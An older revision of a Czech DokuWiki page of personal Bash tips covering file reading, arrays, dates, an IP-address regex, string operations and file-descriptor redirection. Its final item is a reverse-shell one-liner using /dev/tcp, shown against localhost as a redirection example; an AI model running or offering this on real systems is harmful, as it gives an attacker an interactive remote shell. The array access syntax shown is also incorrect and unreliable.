Uživatelské nástroje

Nástroje pro tento web


bash_general

Toto je starší verze dokumentu!


Obecně Bash

  • bash je velice mocný :) jde v něm všechno, ale člověk hodně zapomíná :) Sespsal jsem alespoň pár velice často zapomínaných věcí :)

Čtení ze souboru

  • velice jednoduché čtení po jednom řádku
  • pokud se přenastaví IPS, lze myslím použít i na čtení hodnot oddělených jinak než newline
while read line
do
  echo $line
done < $FILE

Pole

  • inicializace
  MY_ARRAY=("ONE" "TWO")
  • přistup k hodnotám
  echo ${MY_ARRAY(0)}
  echo ${MY_ARRAY(1)}

Datum a čas

  • převod data na timestamp
date +%s
  • a zpátky
date -d @1365436714 

Regulární výrazy

  • bash podporuje regulární výrazy přímo, například v podmínkách (také v cyklech..)
  [[ $string =~ $regex ]]
  • pěkný regex pro poctivé parsování IP adresy přes bash
RE_IP="(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"

Startwith/Endwith

MY_STR="123ABC"
MY_SUB1="123"
MY_SUB2="ABC"
 
echo "${MY_STR#$MY_SUB1}, ${MY_STR%$MY_SUB2}"
[ "${MY_STR}" != ${MY_STR#$MY_SUB1} ] && echo "${MY_STR} startwith ${MY_SUB1}"
[ "${MY_STR}" != ${MY_STR%$MY_SUB2} ] && echo "${MY_STR} endwith ${MY_SUB2}"
ABC, 123
123ABC startwith 123
123ABC endwith ABC

Řetězce

X="a.b.c"; echo ${X//./#}
a#b#c
  • získání podřetězce
x="AAA#BBB"; echo ${x#*#}; echo ${x%#*}
BBB
AAA

vstupy/výstupy

  • standardní file descriptor procesu:
    • 0 STDIN
    • 1 STDOUT
    • 2 STDERR
  • otevři soubor /tmp/x pro zápis jako STDOUT (FD 1)
exec > /tmp/x
echo "aaa"
echo "aaa" > /tmp/x
  • zduplikuj FD 2 na FD 1
exec 2>&1
  • nastav FD1 + FD2 na /tmp/x
exec &> /tmp/x
  • nastav stdin na stejný fd jeako stdout
0>&1
0<&1
<&1
  • reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu
bash -i &> /dev/tcp/127.0.0.1/9999 0>&1
bash_general.1628244833.txt.gz · Poslední úprava: (upraveno mimo DokuWiki)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki